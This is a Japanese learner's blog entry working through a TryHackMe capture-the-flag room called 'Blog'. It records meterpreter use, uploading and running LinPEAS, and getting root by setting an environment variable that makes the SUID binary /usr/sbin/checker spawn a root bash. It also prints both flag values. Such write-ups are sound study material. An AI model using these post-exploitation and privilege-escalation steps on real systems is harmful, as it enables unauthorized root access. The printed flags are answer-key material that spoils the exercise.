writeup見てみたらRHOSTSがblog.thmじゃなくてhttp://blog.thmになっていた。これに変えてみる。
set RHOSTS http://blog.thm
だめだ。同じ結果だ。
set RHOSTS 10.10.184.227
IPアドレスにしたら実行できた。
おかしい。ちゃんと/etc/hostsには正しく記載されていたのに。よくわからん。
10.10.184.227 blog.thm
とりあえず繋がったから良かった。
pwdで現在のディレクトリを確認
/home/bjoel/user.txtを見ると
You won't find what you're looking for here.
TRY HARDER
これじゃないらしい。
ダウンロードはdownloadでできる。
download Billy_Joel_Termination_May20-2020.pdf
解雇通知とかきつすぎる。
今回見つけるべきファイルはuser.txtとroot.txtのため、これらを探してみる。
meterpreterの状態だと普通のコマンドが使えないため、shellと入力してから
find / -name "user.txt" -o -name "root.txt" 2>/dev/null
2>/dev/nullがないとアクセス権がないところのpermission deniedが大量に出た。
見つからないのは権限が足りないため。
てっきり権限が足りなくてもファイルは見つかるけど、読み書きできないだけかと思っていた。
ということで権限昇格の方法を探していく。
その調査としてLinPEASというツールが紹介されている。
LinPEASは侵入後、権限昇格できる設定ミスがないか調査できるツールである。
これを相手のPCで実行して調査したい。
sudo apt install peass
cp /usr/share/peass/linpeas/linpeas.sh .
これを相手のPCに送るが、本ではmeterpreter以外でも遅れるようにwebサーバーで公開して渡すという方法が取られている。
この方法のほうが汎用性が高い。
がめんどくさいのでuploadですます。
cd /tmp
upload linpeas.sh
shell
chmod +x linpeas.sh
./linpeas.sh
/bin/sh: 0: Can't open ./linpeas.sh
meterpreterでも
[-] Unknown command: ./linpeas.sh. Run the help command for more details.
また詰まった。
meterpreterでchmod +xすると全部の権限消えるけど、chmod 777ならちゃんと全部権限ついた。
shell起動してもう一度./linpeas.sh実行したらできた。xだけじゃ実行できないってこと?
予想以上に表示された。だからファイルとして保存が必要だったのね。
./linpeas.sh | tee linpeas_output.txt
量が多すぎてどこ見ればいいかわからん。むりむり。
とりあえず本に従ってSUIDの部分を検索
-rwsr-sr-x 1 root root 8.3K May 26  2020 /usr/sbin/checker (Unknown SUID binary!)
/usr/sbinにあるものはパスが通っているらしい?
checker
Not an Admin
管理者かどうか調べるプログラムだと思われる。
中身を調べるため、まずはltraceコマンドでどんなライブラリを呼び出しているか調べる。
ltrace checker
getenv("admin")                                  = nil
puts("Not an Admin")                             = 13
Not an Admin
+++ exited (status 0) +++
getenvがadminという環境変数を取得してその値によってputsで表示しているらしい。
環境変数を設定する
export admin="orange"
ltrace checker
getenv("admin")                                  = "orange"
setuid(0)                                        = -1
system("/bin/bash"
setuid(0)はユーザーIDが0に設定され、0はrootユーザーなのでこのプロセスはroot権限を持つ。
このプロセスのまま新しくbashが開かれたため今はroot権限になったということ。
現在のユーザーを確認すると
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
から
uid=0(root) gid=33(www-data) groups=33(www-data)
とuidがrootになった。
これでuser.txtとroot.txtを探せるようになったはず。
find / -name "user.txt" -o -name "root.txt" 2>/dev/null/home/bjoel/user.txt
/root/root.txt
/media/usb/user.txt
cat /root/root.txt
9a0b2b618bef9bfa7ac28c1353d9f318
cat /media/usb/user.txt
c8421899aae571f7af486492b71a8ab7
クリアできたあああああああ!!
本に従って進めているだけなのになんか難しいしつまずくし疲れたぁああああああああああ。
でも最後までできたぁああああああああああああああああああ!!!!
これどうやってcheckerにたどり着くんだ?
SUIDを意識してる人ならたどり着けるはずってこと?
あとこのルームのユーザーの特典のチャートが見れるけど最後までクリアしても150点だった。
一人350点がいるから多分権限昇格のところで別の方法も使ったんだろうな。
writeupもみてみるとやっぱりSUIDを調べるのはお約束っぽい。

# Day8
King of The Hill, KoTHをやってみるといいよ
やってみたい!(できる気がしないけど)